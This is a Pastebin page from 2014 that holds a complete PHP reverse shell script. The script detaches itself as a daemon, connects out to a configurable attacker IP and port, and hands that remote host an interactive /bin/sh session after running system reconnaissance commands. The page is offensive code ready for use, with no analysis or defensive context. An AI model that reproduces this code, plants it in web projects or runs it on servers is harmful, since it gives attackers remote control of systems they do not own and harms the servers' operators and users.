long_term

BC php

Jul 22nd, 2014
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.50 KB | None | 0 0
  1. <?php
  2. set_time_limit (0);
  3. $VERSION = "1.0";
  4. $ip = '';  // CHANGE THIS
  5. $port = 1234;       // CHANGE THIS
  6. $chunk_size = 1400;
  7. $write_a = null;
  8. $error_a = null;
  9. $shell = 'uname -a; w; id; /bin/sh -i';
  10. $daemon = 0;
  11. $debug = 0;
  12.  
  13. //
  14. // Daemonise ourself if possible to avoid zombies later
  15. //
  16.  
  17. // pcntl_fork is hardly ever available, but will allow us to daemonise
  18. // our php process and avoid zombies.  Worth a try...
  19. if (function_exists('pcntl_fork')) {
  20.     // Fork and have the parent process exit
  21.     $pid = pcntl_fork();
  22.    
  23.     if ($pid == -1) {
  24.         printit("ERROR: Can't fork");
  25.         exit(1);
  26.     }
  27.    
  28.     if ($pid) {
  29.         exit(0);  // Parent exits
  30.     }
  31.  
  32.     // Make the current process a session leader
  33.     // Will only succeed if we forked
  34.     if (posix_setsid() == -1) {
  35.         printit("Error: Can't setsid()");
  36.         exit(1);
  37.     }
  38.  
  39.     $daemon = 1;
  40. } else {
  41.     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  42. }
  43.  
  44. // Change to a safe directory
  45. chdir("/");
  46.  
  47. // Remove any umask we inherited
  48. umask(0);
  49.  
  50. //
  51. // Do the reverse shell...
  52. //
  53.  
  54. // Open reverse connection
  55. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  56. if (!$sock) {
  57.     printit("$errstr ($errno)");
  58.     exit(1);
  59. }
  60.  
  61. // Spawn shell process
  62. $descriptorspec = array(
  63.    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  64.    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  65.    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  66. );
  67.  
  68. $process = proc_open($shell, $descriptorspec, $pipes);
  69.  
  70. if (!is_resource($process)) {
  71.     printit("ERROR: Can't spawn shell");
  72.     exit(1);
  73. }
  74.  
  75. // Set everything to non-blocking
  76. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  77. stream_set_blocking($pipes[0], 0);
  78. stream_set_blocking($pipes[1], 0);
  79. stream_set_blocking($pipes[2], 0);
  80. stream_set_blocking($sock, 0);
  81.  
  82. printit("Successfully opened reverse shell to $ip:$port");
  83.  
  84. while (1) {
  85.     // Check for end of TCP connection
  86.     if (feof($sock)) {
  87.         printit("ERROR: Shell connection terminated");
  88.         break;
  89.     }
  90.  
  91.     // Check for end of STDOUT
  92.     if (feof($pipes[1])) {
  93.         printit("ERROR: Shell process terminated");
  94.         break;
  95.     }
  96.  
  97.     // Wait until a command is end down $sock, or some
  98.     // command output is available on STDOUT or STDERR
  99.     $read_a = array($sock, $pipes[1], $pipes[2]);
  100.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  101.  
  102.     // If we can read from the TCP socket, send
  103.     // data to process's STDIN
  104.     if (in_array($sock, $read_a)) {
  105.         if ($debug) printit("SOCK READ");
  106.         $input = fread($sock, $chunk_size);
  107.         if ($debug) printit("SOCK: $input");
  108.         fwrite($pipes[0], $input);
  109.     }
  110.  
  111.     // If we can read from the process's STDOUT
  112.     // send data down tcp connection
  113.     if (in_array($pipes[1], $read_a)) {
  114.         if ($debug) printit("STDOUT READ");
  115.         $input = fread($pipes[1], $chunk_size);
  116.         if ($debug) printit("STDOUT: $input");
  117.         fwrite($sock, $input);
  118.     }
  119.  
  120.     // If we can read from the process's STDERR
  121.     // send data down tcp connection
  122.     if (in_array($pipes[2], $read_a)) {
  123.         if ($debug) printit("STDERR READ");
  124.         $input = fread($pipes[2], $chunk_size);
  125.         if ($debug) printit("STDERR: $input");
  126.         fwrite($sock, $input);
  127.     }
  128. }
  129.  
  130. fclose($sock);
  131. fclose($pipes[0]);
  132. fclose($pipes[1]);
  133. fclose($pipes[2]);
  134. proc_close($process);
  135.  
  136. // Like print, but does nothing if we've daemonised ourself
  137. // (I can't figure out how to redirect STDOUT like a proper daemon)
  138. function printit ($string) {
  139.     if (!$daemon) {
  140.         print "$string\n";
  141.     }
  142. }
  143.  
  144. ?>
Advertisement
Add Comment
Please, Sign In to add comment